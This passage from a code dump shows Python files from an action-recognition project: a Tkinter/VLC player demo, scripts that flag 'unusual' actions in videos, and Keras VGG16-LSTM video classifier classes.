((frames-second*int(fps)<=int(fps)*3) and (frames>=second*int(fps))):\n\t\t\t\t\t\tcv2.putText(frame, \"Unusual action detected\",(10,40),cv2.FONT_HERSHEY_PLAIN,2,(0,0,255),5)\n\t\t\t\t\t\tvideoWriter.write(frame)\n\t\t\t\t\t#elif((frames-second*int(fps)>int(fps)*3) and (frames>=second*int(fps))):\n\t\t\t\t\telif((frames-second*int(fps)>int(fps)*3) and (frames>=second*int(fps))):\n\t\t\t\t\t\tbreak;\n\t\t\t\t\telse:\n\t\t\t\t\t\tvideoWriter.write(frame)\n\t\t\t\t\t\t#unusuals.remove(action)\n\t\t\t\t\tself.progress[\"value\"]=frames\n\t\t\t\t\tself.progress.update()\n\t\t\t\t\tframes +=1\n\t\t\t\telse:\n\t\t\t\t\tvideoWriter.release()\n\t\t\t\t\tbreak;\n\t\t\t\t#print(frames)\n\t\t\t\t\n\t\t# while cap.isOpened():\n\t\t# \tret, frame = cap.read()\n\t\t# \tif ret:\n\t\t# \t\tvideoWriter.write(frame)\n\t\t# \telse:\n\t\t# \t\tvideoWriter.release()\n\t\toutput = './output_{}.avi'.format(os.path.basename(fullname))\n\t\treturn output\n\tdef OnDetect(self):\n\t\t\"\"\"Pop up a new dialow window to choose a file, then play the selected file.\n\t\t\"\"\"\n\t\t# if a file is already running, then stop it.\n\t\tself.OnStop()\n\n\t\t# Create a file dialog opened in the current home directory, where\n\t\t# you can display all kind of files, having as title \"Choose a file\".\n\t\tp = pathlib.Path(os.path.expanduser(\"~\"))\n\t\tfullname = askopenfilename(initialdir = p, title = \"choose your file\",filetypes = ((\"all files\",\"*.*\"),(\"mp4 files\",\"*.mp4\")))\n\t\tfullname = self.Detect(fullname)\n\t\tif os.path.isfile(fullname):\n\t\t\tdirname = os.path.dirname(fullname)\n\t\t\tfilename = os.path.basename(fullname)\n\t\t\t# Creation\n\t\t\tself.Media = self.Instance.media_new(str(os.path.join(dirname, filename)))\n\t\t\tself.player.set_media(self.Media)\n\t\t\t# Report the title of the file chosen\n\t\t\t#title = self.player.get_title()\n\t\t\t# if an error was encountred while retriving the title, then use\n\t\t\t# filename\n\t\t\t#if title == -1:\n\t\t\t# title = filename\n\t\t\t#self.SetTitle(\"%s - tkVLCplayer\" % title)\n\n\t\t\t# set the window id where to render VLC's video output\n\t\t\tif platform.system() == 'Windows':\n\t\t\t\tself.player.set_hwnd(self.GetHandle())\n\t\t\telse:\n\t\t\t\tself.player.set_xwindow(self.GetHandle()) # this line messes up windows\n\t\t\t# FIXME: this should be made cross-platform\n\t\t\tself.OnPlay()\n\n\t\t\t# set the volume slider to the current volume\n\t\t\t#self.volslider.SetValue(self.player.audio_get_volume() / 2)\n\t\t\tself.volslider.set(self.player.audio_get_volume())\n\tdef OnOpen(self):\n\t\t\"\"\"Pop up a new dialow window to choose a file, then play the selected file.\n\t\t\"\"\"\n\t\t# if a file is already running, then stop it.\n\t\tself.OnStop()\n\n\t\t# Create a file dialog opened in the current home directory, where\n\t\t# you can display all kind of files, having as title \"Choose a file\".\n\t\tp = pathlib.Path(os.path.expanduser(\"~\"))\n\t\tfullname = askopenfilename(initialdir = p, title = \"choose your file\",filetypes = ((\"all files\",\"*.*\"),(\"mp4 files\",\"*.mp4\")))\n\t\t#fullname = self.OnDetect(fullname)\n\t\tif os.path.isfile(fullname):\n\t\t\tdirname = os.path.dirname(fullname)\n\t\t\tfilename = os.path.basename(fullname)\n\t\t\t# Creation\n\t\t\tself.Media = self.Instance.media_new(str(os.path.join(dirname, filename)))\n\t\t\tself.player.set_media(self.Media)\n\t\t\t# Report the title of the file chosen\n\t\t\t#title = self.player.get_title()\n\t\t\t# if an error was encountred while retriving the title, then use\n\t\t\t# filename\n\t\t\t#if title == -1:\n\t\t\t# title = filename\n\t\t\t#self.SetTitle(\"%s - tkVLCplayer\" % title)\n\n\t\t\t# set the window id where to render VLC's video output\n\t\t\tif platform.system() == 'Windows':\n\t\t\t\tself.player.set_hwnd(self.GetHandle())\n\t\t\telse:\n\t\t\t\tself.player.set_xwindow(self.GetHandle()) # this line messes up windows\n\t\t\t# FIXME: this should be made cross-platform\n\t\t\tself.OnPlay()\n\n\t\t\t# set the volume slider to the current volume\n\t\t\t#self.volslider.SetValue(self.player.audio_get_volume() / 2)\n\t\t\tself.volslider.set(self.player.audio_get_volume())\n\n\tdef OnPlay(self):\n\t\t\"\"\"Toggle the status to Play/Pause.\n\t\tIf no file is loaded, open the dialog window.\n\t\t\"\"\"\n\t\t# check if there is a file to play, otherwise open a\n\t\t# if self.player.get_time() == self.player.get_length():\n\t\t# \tprint(\"Video reach end\")\n\t\t# \tself.OnStop()\n\t\t# Tk.FileDialog to select a file\n\t\tif not self.player.get_media():\n\t\t\tself.OnOpen()\n\t\telse:\n\t\t\t# Try to launch the media, if this fails display an error message\n\t\t\tif self.player.play() == -1:\n\t\t\t\tself.errorDialog(\"Unable to play.\")\n\n\tdef GetHandle(self):\n\t\treturn self.videopanel.winfo_id()\n\n\t#def OnPause(self, evt):\n\tdef OnPause(self):\n\t\t\"\"\"Pause the player.\n\t\t\"\"\"\n\t\tself.player.pause()\n\n\tdef OnStop(self):\n\t\t\"\"\"Stop the player.\n\t\t\"\"\"\n\t\tself.player.stop()\n\t\t# reset the time slider\n\t\tself.timeslider.set(0)\n\n\tdef OnTimer(self):\n\t\t\"\"\"Update the time slider according to the current movie time.\n\t\t\"\"\"\n\t\tif self.player == None:\n\t\t\treturn\n\t\t# since the self.player.get_length can change while playing,\n\t\t# re-set the timeslider to the correct range.\n\t\tlength = self.player.get_length()\n\t\tdbl = length * 0.001\n\t\tself.timeslider.config(to=dbl)\n\n\t\t# update the time on the slider\n\t\ttyme = self.player.get_time()\n\t\tif tyme == -1:\n\t\t\ttyme = 0\n\t\tdbl = tyme * 0.001\n\t\tself.timeslider_last_val = (\"%.0f\" % dbl) + \".0\"\n\t\t# don't want to programatically change slider while user is messing with it.\n\t\t# wait 2 seconds after user lets go of slider\n\t\tif time.time() > (self.timeslider_last_update + 2.0):\n\t\t\tself.timeslider.set(dbl)\n\n\tdef scale_sel(self, evt):\n\t\tif self.player == None:\n\t\t\treturn\n\t\tnval = self.scale_var.get()\n\t\tsval = str(nval)\n\t\tif self.timeslider_last_val != sval:\n\t\t\t# this is a hack. The timer updates the time slider.\n\t\t\t# This change causes this rtn (the 'slider has changed' rtn) to be invoked.\n\t\t\t# I can't tell the difference between when the user has manually moved the slider and when\n\t\t\t# the timer changed the slider. But when the user moves the slider tkinter only notifies\n\t\t\t# this rtn about once per second and when the slider has quit moving.\n\t\t\t# Also, the tkinter notification value has no fractional seconds.\n\t\t\t# The timer update rtn saves off the last update value (rounded to integer seconds) in timeslider_last_val\n\t\t\t# if the notification time (sval) is the same as the last saved time timeslider_last_val then\n\t\t\t# we know that this notification is due to the timer changing the slider.\n\t\t\t# otherwise the notification is due to the user changing the slider.\n\t\t\t# if the user is changing the slider then I have the timer routine wait for at least\n\t\t\t# 2 seconds before it starts updating the slider again (so the timer doesn't start fighting with the\n\t\t\t# user)\n\t\t\tself.timeslider_last_update = time.time()\n\t\t\tmval = \"%.0f\" % (nval * 1000)\n\t\t\tself.player.set_time(int(mval)) # expects milliseconds\n\n\n\tdef volume_sel(self, evt):\n\t\tif self.player == None:\n\t\t\treturn\n\t\tvolume = self.volume_var.get()\n\t\tif volume > 100:\n\t\t\tvolume = 100\n\t\tif self.player.audio_set_volume(volume) == -1:\n\t\t\tself.errorDialog(\"Failed to set volume\")\n\n\n\n\tdef OnToggleVolume(self, evt):\n\t\t\"\"\"Mute/Unmute according to the audio button.\n\t\t\"\"\"\n\t\tis_mute = self.player.audio_get_mute()\n\n\t\tself.player.audio_set_mute(not is_mute)\n\t\t# update the volume slider;\n\t\t# since vlc volume range is in [0, 200],\n\t\t# and our volume slider has range [0, 100], just divide by 2.\n\t\tself.volume_var.set(self.player.audio_get_volume())\n\n\tdef OnSetVolume(self):\n\t\t\"\"\"Set the volume according to the volume sider.\n\t\t\"\"\"\n\t\tvolume = self.volume_var.get()\n\t\t# vlc.MediaPlayer.audio_set_volume returns 0 if success, -1 otherwise\n\t\tif volume > 100:\n\t\t\tvolume = 100\n\t\tif self.player.audio_set_volume(volume) == -1:\n\t\t\tself.errorDialog(\"Failed to set volume\")\n\n\tdef errorDialog(self, errormessage):\n\t\t\"\"\"Display a simple error dialog.\n\t\t\"\"\"\n\t\tmessagebox.showerror('Error', errormessage)\n\ndef Tk_get_root():\n\tif not hasattr(Tk_get_root, \"root\"): #(1)\n\t\tTk_get_root.root= Tk.Tk() #initialization call is inside the function\n\treturn Tk_get_root.root\n\ndef _quit():\n\tprint(\"_quit: bye\")\n\troot = Tk_get_root()\n\troot.quit() # stops mainloop\n\troot.destroy() # this is necessary on Windows to prevent\n\t\t\t\t\t# Fatal Python Error: PyEval_RestoreThread: NULL tstate\n\tos._exit(1)\n\nif __name__ == \"__main__\":\n\t# Create a Tk.App(), which handles the windowing system event loop\n\troot = Tk_get_root()\n\troot.protocol(\"WM_DELETE_WINDOW\", _quit)\n\n\tplayer = Player(root, title=\"Action Recognition Demo\")\n\t# show the player window centred and run the application\n\troot.mainloop()", "id": "12208515", "language": "Python", "matching_score": 4.84783935546875, "max_stars_count": 0, "path": "demo/videoPlayer.py" }, { "content": "import numpy as np\nimport sys\nimport os\nimport datetime\n\ndef main():\n\tsys.path.append(os.path.join(os.path.dirname(__file__), '..'))\n\n\tfrom keras_video_classifier.library.recurrent_networks import VGG16BidirectionalLSTMVideoClassifier\n\tfrom keras_video_classifier.library.utility.ucf.UCF101_loader import load_ucf, scan_ucf_with_labels\n\n\tvgg16_include_top = True\n\tdata_dir_path = os.path.join(os.path.dirname(__file__), 'very_large_data')\n\tmodel_dir_path = os.path.join(os.path.dirname(__file__), 'models', 'UCF-101')\n\tdemo_dir_path = os.path.join(os.path.dirname(__file__), 'real-data')\n\tconfig_file_path = VGG16BidirectionalLSTMVideoClassifier.get_config_file_path(model_dir_path,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t vgg16_include_top=vgg16_include_top)\n\tweight_file_path = VGG16BidirectionalLSTMVideoClassifier.get_weight_file_path(model_dir_path,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t vgg16_include_top=vgg16_include_top)\n\n\tnp.random.seed(42)\n\n\tload_ucf(data_dir_path)\n\n\tpredictor = VGG16BidirectionalLSTMVideoClassifier()\n\tpredictor.load_model(config_file_path, weight_file_path)\n\n\tprint('reaching here three')\n\t\n\tunusual_actions = []\n\tusual_actions = []\n\tinterval = 3\n\ttxtFile = open('./reports/prediction_Each_Interval_Report'+'.txt','w')\n\t\n\tfor video_file_path in os.listdir(demo_dir_path):\n\t\tif os.path.isfile(os.path.join(demo_dir_path,video_file_path)):\n\t\t\tprint(\"Predicting video: {}\".format(video_file_path))\n\t\t\tfull_file_path = os.path.join(demo_dir_path,video_file_path)\n\t\t\tif(os.path.isfile(full_file_path)):\n\t\t\t\tpredicted_labels = predictor.predict(full_file_path,interval=interval)\n\t\t\t\tprint(\"TOTAL {} ACTIONS\".format(len(predicted_labels)))\n\t\t\t\tfor index in range(len(predicted_labels)):\n\t\t\t\t\tif(predicted_labels[index] == \"Unusual action\"):\n\t\t\t\t\t\ttime = str(datetime.timedelta(seconds=index))\n\t\t\t\t\t\tprint('predicted: ' + predicted_labels[index] + ' at: {0}'.format(time))\n\t\t\t\t\t\tunusual_actions.append(list((full_file_path,time)))\n\t\t\t\t\telif(predicted_labels[index] == \"Usual action\"):\n\t\t\t\t\t\ttime = str(datetime.timedelta(seconds=index))\n\t\t\t\t\t\tprint('predicted: ' + predicted_labels[index] + ' at: {0}'.format(time))\n\t\t\t\t\t\tusual_actions.append(list((full_file_path,time)))\n\tprint(\"TOTAL: {} unusual actions and {} usual actions\".format(len(unusual_actions),len(usual_actions)))\n\ttxtFile.write(\"Unsual actions\")\n\ttxtFile.write('\\n')\n\tfor item in unusual_actions:\n\t\ttxtFile.write(item[0] + ' at '+ item[1])\n\t\ttxtFile.write('\\n')\n\ttxtFile.write(\"Usual actions\")\n\ttxtFile.write('\\n')\n\tfor item in usual_actions:\n\t\ttxtFile.write(item[0] + ' at '+ item[1])\n\t\ttxtFile.write('\\n')\nif __name__ == '__main__':\n\tmain()\n", "id": "11418874", "language": "Python", "matching_score": 4.983926773071289, "max_stars_count": 0, "path": "demo/vgg16_bidirectional_lstm_predict_each_interval.py" }, { "content": "import numpy as np\nimport sys\nimport os\n\n\ndef main():\n sys.path.append(os.path.join(os.path.dirname(__file__), '..'))\n\n from keras_video_classifier.library.recurrent_networks import VGG16BidirectionalLSTMVideoClassifier\n from keras_video_classifier.library.utility.ucf.UCF101_loader import load_ucf, scan_ucf_with_labels\n\n vgg16_include_top = True\n data_dir_path = os.path.join(os.path.dirname(__file__), 'very_large_data')\n model_dir_path = os.path.join(os.path.dirname(__file__), 'models', 'UCF-101')\n demo_dir_path = os.path.join(os.path.dirname(__file__), 'bundle')\n config_file_path = VGG16BidirectionalLSTMVideoClassifier.get_config_file_path(model_dir_path,\n vgg16_include_top=vgg16_include_top)\n weight_file_path = VGG16BidirectionalLSTMVideoClassifier.get_weight_file_path(model_dir_path,\n vgg16_include_top=vgg16_include_top)\n\n np.random.seed(42)\n\n load_ucf(data_dir_path)\n\n predictor = VGG16BidirectionalLSTMVideoClassifier()\n predictor.load_model(config_file_path, weight_file_path)\n\n print('reaching here three')\n\n unusual_action_videos = []\n usual_action_videos = []\n txtFile = open('./reports/predictionsReport'+'.txt','w')\n for video_file_path in os.listdir(demo_dir_path):\n #label = videos[video_file_path]\n full_file_path = os.path.join(demo_dir_path,video_file_path)\n if(os.path.isfile(full_file_path)):\n predicted_label = predictor.predict(full_file_path)\n if(predicted_label == \"Unusual action\"):\n unusual_action_videos.append(full_file_path)\n elif(predicted_label == \"Usual action\"):\n usual_action_videos.append(full_file_path)\n print('predicted: ' + predicted_label)\n print(\"FOUND {} unusual actions\".format(len(unusual_action_videos)))\n txtFile.write(\"Unusual actions\")\n txtFile.write('\\n')\n for item in unusual_action_videos:\n txtFile.write(item)\n txtFile.write('\\n')\n txtFile.write(\"Usual actions\")\n txtFile.write('\\n')\n for item in usual_action_videos:\n txtFile.write(item)\n txtFile.write('\\n')\n #correct_count = correct_count + 1 if label == predicted_label else correct_count\n #count += 1\n #accuracy = correct_count / count\n #print('accuracy: ', accuracy)\n\n\nif __name__ == '__main__':\n main()\n", "id": "242727", "language": "Python", "matching_score": 4.165503025054932, "max_stars_count": 0, "path": "demo/vgg16_bidirectional_lstm_predict_from_bundle.py" }, { "content": "import numpy as np\nfrom keras import backend as K\nimport os\nimport sys\n\nK.set_image_dim_ordering('tf')\n\n\ndef patch_path(path):\n return os.path.join(os.path.dirname(__file__), path)\n\n\ndef main():\n sys.path.append(patch_path('..'))\n\n data_dir_path = patch_path('very_large_data')\n model_dir_path = patch_path('models/UCF-101')\n\n from keras_video_classifier.library.convolutional import CnnVideoClassifier\n from keras_video_classifier.library.utility.ucf.UCF101_loader import load_ucf, scan_ucf_with_labels\n config_file_path = CnnVideoClassifier.get_config_file_path(model_dir_path)\n weight_file_path = CnnVideoClassifier.get_weight_file_path(model_dir_path)\n\n np.random.seed(42)\n\n load_ucf(data_dir_path)\n\n predictor = CnnVideoClassifier()\n predictor.load_model(config_file_path, weight_file_path)\n\n videos = scan_ucf_with_labels(data_dir_path, [label for (label, label_index) in predictor.labels.items()])\n\n video_file_path_list = np.array([file_path for file_path in videos.keys()])\n np.random.shuffle(video_file_path_list)\n\n for video_file_path in video_file_path_list:\n label = videos[video_file_path]\n predicted_label = predictor.predict(video_file_path)\n print('predicted: ' + predicted_label + ' actual: ' + label)\n\n\nif __name__ == '__main__':\n main()", "id": "2101", "language": "Python", "matching_score": 1.1613752841949463, "max_stars_count": 108, "path": "demo/cnn_predict.py" }, { "content": "from keras.layers import Dense, Activation, Dropout, Bidirectional\nfrom keras.layers.recurrent import LSTM\nfrom keras.models import Sequential\nfrom keras.applications.vgg16 import VGG16\nfrom keras.optimizers import SGD\nfrom keras import backend as K\nfrom keras.utils import np_utils\nfrom sklearn.model_selection import train_test_split\nfrom keras.callbacks import ModelCheckpoint\nimport os\nimport numpy as np\n\nfrom keras_video_classifier.library.utility.frame_extractors.vgg16_feature_extractor import extract_vgg16_features_live, \\\n\tscan_and_extract_vgg16_features, extract_vgg16_features_live_each_interval\n\nBATCH_SIZE = 64\nNUM_EPOCHS = 20\nVERBOSE = 1\nHIDDEN_UNITS = 512\nMAX_ALLOWED_FRAMES = 20\nEMBEDDING_SIZE = 100\n\nK.set_image_dim_ordering('tf')\n\n\ndef generate_batch(x_samples, y_samples):\n\tnum_batches = len(x_samples) // BATCH_SIZE\n\n\twhile True:\n\t\tfor batchIdx in range(0, num_batches):\n\t\t\tstart = batchIdx * BATCH_SIZE\n\t\t\tend = (batchIdx + 1) * BATCH_SIZE\n\t\t\tyield np.array(x_samples[start:end]), y_samples[start:end]\n\n\nclass VGG16BidirectionalLSTMVideoClassifier(object):\n\tmodel_name = 'vgg16-bidirectional-lstm'\n\n\tdef __init__(self):\n\t\tself.num_input_tokens = None\n\t\tself.nb_classes = None\n\t\tself.labels = None\n\t\tself.labels_idx2word = None\n\t\tself.model = None\n\t\tself.vgg16_model = None\n\t\tself.expected_frames = None\n\t\tself.vgg16_include_top = True\n\t\tself.config = None\n\n\tdef create_model(self):\n\t\tmodel = Sequential()\n\t\tmodel.add(Bidirectional(LSTM(units=HIDDEN_UNITS, return_sequences=True),\n\t\t\t\t\t\t\t\tinput_shape=(self.expected_frames, self.num_input_tokens)))\n\t\tmodel.add(Bidirectional(LSTM(10)))\n\t\tmodel.add(Dense(512, activation='relu'))\n\t\tmodel.add(Dropout(0.5))\n\n\t\tmodel.add(Dense(self.nb_classes))\n\n\t\tmodel.add(Activation('softmax'))\n\n\t\tmodel.compile(loss='categorical_crossentropy', optimizer='rmsprop', metrics=['accuracy'])\n\n\t\treturn model\n\n\t@staticmethod\n\tdef get_config_file_path(model_dir_path, vgg16_include_top=None):\n\t\tif vgg16_include_top is None:\n\t\t\tvgg16_include_top = True\n\t\tif vgg16_include_top:\n\t\t\treturn model_dir_path + '/' + VGG16BidirectionalLSTMVideoClassifier.model_name + '-config.npy'\n\t\telse:\n\t\t\treturn model_dir_path + '/' + VGG16BidirectionalLSTMVideoClassifier.model_name + '-hi-dim-config.npy'\n\n\t@staticmethod\n\tdef get_weight_file_path(model_dir_path, vgg16_include_top=None):\n\t\tif vgg16_include_top is None:\n\t\t\tvgg16_include_top = True\n\t\tif vgg16_include_top:\n\t\t\treturn model_dir_path + '/' + VGG16BidirectionalLSTMVideoClassifier.model_name + '-weights.h5'\n\t\telse:\n\t\t\treturn model_dir_path + '/' + VGG16BidirectionalLSTMVideoClassifier.model_name + '-hi-dim-weights.h5'\n\n\t@staticmethod\n\tdef get_architecture_file_path(model_dir_path, vgg16_include_top=None):\n\t\tif vgg16_include_top is None:\n\t\t\tvgg16_include_top = True\n\t\tif vgg16_include_top:\n\t\t\treturn model_dir_path + '/' + VGG16BidirectionalLSTMVideoClassifier.model_name + '-architecture.json'\n\t\telse:\n\t\t\treturn model_dir_path + '/' + VGG16BidirectionalLSTMVideoClassifier.model_name + '-hi-dim-architecture.json'\n\n\tdef load_model(self, config_file_path, weight_file_path):\n\t\tif os.path.exists(config_file_path):\n\t\t\tprint('loading configuration from ', config_file_path)\n\t\telse:\n\t\t\traise ValueError('cannot locate config file {}'.format(config_file_path))\n\n\t\tconfig = np.load(config_file_path).item()\n\t\tself.num_input_tokens = config['num_input_tokens']\n\t\tself.nb_classes = config['nb_classes']\n\t\tself.labels = config['labels']\n\t\tself.expected_frames = config['expected_frames']\n\t\tself.vgg16_include_top = config['vgg16_include_top']\n\t\tself.labels_idx2word = dict([(idx, word) for word, idx in self.labels.items()])\n\t\tself.config = config\n\n\t\tself.model = self.create_model()\n\t\tif os.path.exists(weight_file_path):\n\t\t\tprint('loading network weights from ', weight_file_path)\n\t\telse:\n\t\t\traise ValueError('cannot local weight file {}'.format(weight_file_path))\n\n\t\tself.model.load_weights(weight_file_path)\n\n\t\tprint('build vgg16 with pre-trained model')\n\t\tvgg16_model = VGG16(include_top=self.vgg16_include_top, weights='imagenet')\n\t\tvgg16_model.compile(optimizer=SGD(), loss='categorical_crossentropy', metrics=['accuracy'])\n\t\tself.vgg16_model = vgg16_model\n\n\tdef predict(self, video_file_path, interval = 0, vgg16_include_top=True):\n\t\tpredicted_labels = []\n\t\tfeature_dir_name = video_file_path + '-VGG16-Features'\n\t\tif not vgg16_include_top:\n\t\t\tfeature_dir_name = video_file_path + '-VGG16-HiDimFeatures'\n\t\tif not os.path.exists(feature_dir_name):\n\t\t\tos.makedirs(feature_dir_name)\n\t\tif(interval!=0):\n\t\t\tprint(\"Predicting each interval\")\n\t\t\tfeatures_arr = extract_vgg16_features_live_each_interval(self.vgg16_model, video_file_path, feature_dir_name, interval)\n\t\t\tfor x in features_arr:\n\t\t\t\tframes = x.shape[0]\n\t\t\t\tif frames > self.expected_frames:\n\t\t\t\t\tx = x[0:self.expected_frames, :]\n\t\t\t\telif frames < self.expected_frames:\n\t\t\t\t\ttemp = np.zeros(shape=(self.expected_frames, x.shape[1]))\n\t\t\t\t\ttemp[0:frames, :] = x\n\t\t\t\t\tx = temp\n\t\t\t\tpredicted_class = np.argmax(self.model.predict(np.array([x]))[0])\n\t\t\t\tpredicted_label = self.labels_idx2word[predicted_class]\n\t\t\t\tpredicted_labels.append(predicted_label)\n\t\t\treturn predicted_labels\n\t\telse:\n\t\t\tprint(\"Predicting entire video\")\n\t\t\tx = extract_vgg16_features_live(self.vgg16_model, video_file_path, feature_dir_name)\n\t\t\tframes = x.shape[0]\n\t\t\tif frames > self.expected_frames:\n\t\t\t\tx = x[0:self.expected_frames, :]\n\t\t\telif frames < self.expected_frames:\n\t\t\t\ttemp = np.zeros(shape=(self.expected_frames, x.shape[1]))\n\t\t\t\ttemp[0:frames, :] = x\n\t\t\t\tx = temp\n\t\t\tpredicted_class = np.argmax(self.model.predict(np.array([x]))[0])\n\t\t\tpredicted_label = self.labels_idx2word[predicted_class]\n\t\t\treturn predicted_label\n\tdef fit(self, data_dir_path, model_dir_path, vgg16_include_top=True, data_set_name='UCF-101', test_size=0.3,\n\t\t\trandom_state=42):\n\n\t\tself.vgg16_include_top = vgg16_include_top\n\n\t\tconfig_file_path = self.get_config_file_path(model_dir_path, vgg16_include_top)\n\t\tweight_file_path = self.get_weight_file_path(model_dir_path, vgg16_include_top)\n\t\tarchitecture_file_path = self.get_architecture_file_path(model_dir_path, vgg16_include_top)\n\n\t\tself.vgg16_model = VGG16(include_top=self.vgg16_include_top, weights='imagenet')\n\t\tself.vgg16_model.compile(optimizer=SGD(), loss='categorical_crossentropy', metrics=['accuracy'])\n\n\t\tfeature_dir_name = data_set_name + '-VGG16-Features'\n\t\tif not vgg16_include_top:\n\t\t\tfeature_dir_name = data_set_name + '-VGG16-HiDimFeatures'\n\t\tmax_frames = 0\n\t\tself.labels = dict()\n\t\tx_samples, y_samples = scan_and_extract_vgg16_features(data_dir_path,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t output_dir_path=feature_dir_name,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t model=self.vgg16_model,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t data_set_name=data_set_name)\n\t\tself.num_input_tokens = x_samples[0].shape[1]\n\t\tframes_list = []\n\t\tfor x in x_samples:\n\t\t\tframes = x.shape[0]\n\t\t\tframes_list.append(frames)\n\t\t\tmax_frames = max(frames, max_frames)\n\t\tself.expected_frames = int(np.mean(frames_list))\n\t\tprint('max frames: ', max_frames)\n\t\tprint('expected frames: ', self.expected_frames)\n\t\tfor i in range(len(x_samples)):\n\t\t\tx = x_samples[i]\n\t\t\tframes = x.shape[0]\n\t\t\tif frames > self.expected_frames:\n\t\t\t\tx = x[0:self.expected_frames, :]\n\t\t\t\tx_samples[i] = x\n\t\t\telif frames < self.expected_frames:\n\t\t\t\ttemp = np.zeros(shape=(self.expected_frames, x.shape[1]))\n\t\t\t\ttemp[0:frames, :] = x\n\t\t\t\tx_samples[i] = temp\n\t\tfor y in y_samples:\n\t\t\tif y not in self.labels:\n\t\t\t\tself.labels[y] = len(self.labels)\n\t\tprint(self.labels)\n\t\tfor i in range(len(y_samples)):\n\t\t\ty_samples[i] = self.labels[y_samples[i]]\n\n\t\tself.nb_classes = len(self.labels)\n\n\t\ty_samples = np_utils.to_categorical(y_samples, self.nb_classes)\n\n\t\tconfig = dict()\n\t\tconfig['labels'] = self.labels\n\t\tconfig['nb_classes'] = self.nb_classes\n\t\tconfig['num_input_tokens'] = self.num_input_tokens\n\t\tconfig['expected_frames'] = self.expected_frames\n\t\tconfig['vgg16_include_top'] = self.vgg16_include_top\n\n\t\tself.config = config\n\n\t\tnp.save(config_file_path, config)\n\n\t\tmodel = self.create_model()\n\t\topen(architecture_file_path, 'w').write(model.to_json())\n\n\t\tXtrain, Xtest, Ytrain, Ytest = train_test_split(x_samples, y_samples, test_size=test_size,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\trandom_state=random_state)\n\n\t\ttrain_gen = generate_batch(Xtrain, Ytrain)\n\t\ttest_gen = generate_batch(Xtest, Ytest)\n\n\t\ttrain_num_batches = len(Xtrain) // BATCH_SIZE\n\t\ttest_num_batches = len(Xtest) // BATCH_SIZE\n\n\t\tcheckpoint = ModelCheckpoint(filepath=weight_file_path, save_best_only=True)\n\t\thistory = model.fit_generator(generator=train_gen, steps_per_epoch=train_num_batches,\n\t\t\t\t\t\t\t\t\t epochs=NUM_EPOCHS,\n\t\t\t\t\t\t\t\t\t verbose=1, validation_data=test_gen, validation_steps=test_num_batches,\n\t\t\t\t\t\t\t\t\t callbacks=[checkpoint])\n\t\tmodel.save_weights(weight_file_path)\n\n\t\treturn history\n\n\nclass VGG16LSTMVideoClassifier(object):\n\tmodel_name = 'vgg16-lstm'\n\t\n\tdef __init__(self):\n\t\tself.num_input_tokens = None\n\t\tself.nb_classes = None\n\t\tself.labels = None\n\t\tself.labels_idx2word = None\n\t\tself.model = None\n\t\tself.vgg16_model = None\n\t\tself.expected_frames = None\n\t\tself.vgg16_include_top = None\n\t\tself.config = None\n\t\t\n\t@staticmethod\n\tdef get_config_file_path(model_dir_path, vgg16_include_top=None):\n\t\tif vgg16_include_top is None:\n\t\t\tvgg16_include_top = True\n\t\tif vgg16_include_top:\n\t\t\treturn model_dir_path + '/' + VGG16LSTMVideoClassifier.model_name + '-config.npy'\n\t\telse:\n\t\t\treturn model_dir_path + '/' + VGG16LSTMVideoClassifier.model_name + '-hi-dim-config.npy'\n\n\t@staticmethod\n\tdef get_weight_file_path(model_dir_path, vgg16_include_top=None):\n\t\tif vgg16_include_top is None:\n\t\t\tvgg16_include_top = True\n\t\tif vgg16_include_top:\n\t\t\treturn model_dir_path + '/' + VGG16LSTMVideoClassifier.model_name + '-weights.h5'\n\t\telse:\n\t\t\treturn model_dir_path + '/' + VGG16LSTMVideoClassifier.model_name + '-hi-dim-weights.h5'\n\n\t@staticmethod\n\tdef get_architecture_file_path(model_dir_path, vgg16_include_top=None):\n\t\tif vgg16_include_top is None:\n\t\t\tvgg16_include_top = True\n\t\tif vgg16_include_top:\n\t\t\treturn model_dir_path + '/' + VGG16LSTMVideoClassifier.model_name + '-architecture.json'\n\t\telse:\n\t\t\treturn model_dir_path + '/' + VGG16LSTMVideoClassifier.model_name + '-hi-dim-architecture.json'\n\n\tdef create_model(self):\n\t\tmodel = Sequential()\n\n\t\tmodel.add(\n\t\t\tLSTM(units=HIDDEN_UNITS, input_shape=(None, self.num_input_tokens), return_sequences=False, dropout=0.5))\n\t\tmodel.add(Dense(512, activation='relu'))\n\t\tmodel.add(Dropout(0.5))\n\t\tmodel.add(Dense(self.nb_classes))\n\t\tmodel.add(Activation('softmax'))\n\n\t\tmodel.compile(loss='categorical_crossentropy', optimizer='rmsprop', metrics=['accuracy'])\n\t\treturn model\n\n\tdef load_model(self, config_file_path, weight_file_path):\n\n\t\tconfig = np.load(config_file_path).item()\n\t\tself.num_input_tokens = config['num_input_tokens']\n\t\tself.nb_classes = config['nb_classes']\n\t\tself.labels = config['labels']\n\t\tself.expected_frames = config['expected_frames']\n\t\tself.vgg16_include_top = config['vgg16_include_top']\n\t\tself.labels_idx2word = dict([(idx, word) for word, idx in self.labels.items()])\n\n\t\tself.model = self.create_model()\n\t\tself.model.load_weights(weight_file_path)\n\n\t\tvgg16_model = VGG16(include_top=self.vgg16_include_top, weights='imagenet')\n\t\tvgg16_model.compile(optimizer=SGD(), loss='categorical_crossentropy', metrics=['accuracy'])\n\t\tself.vgg16_model = vgg16_model\n\n\tdef predict(self, video_file_path):\n\t\tx = extract_vgg16_features_live(self.vgg16_model, video_file_path)\n\t\tframes = x.shape[0]\n\t\tif frames > self.expected_frames:\n\t\t\tx = x[0:self.expected_frames, :]\n\t\telif frames < self.expected_frames:\n\t\t\ttemp = np.zeros(shape=(self.expected_frames, x.shape[1]))\n\t\t\ttemp[0:frames, :] = x\n\t\t\tx = temp\n\t\tpredicted_class = np.argmax(self.model.predict(np.array([x]))[0])\n\t\tpredicted_label = self.labels_idx2word[predicted_class]\n\t\treturn predicted_label\n\n\tdef fit(self, data_dir_path, model_dir_path, vgg16_include_top=True, data_set_name='UCF-101', test_size=0.3, random_state=42):\n\t\tself.vgg16_include_top = vgg16_include_top\n\n\t\tconfig_file_path = self.get_config_file_path(model_dir_path, vgg16_include_top)\n\t\tweight_file_path = self.get_weight_file_path(model_dir_path, 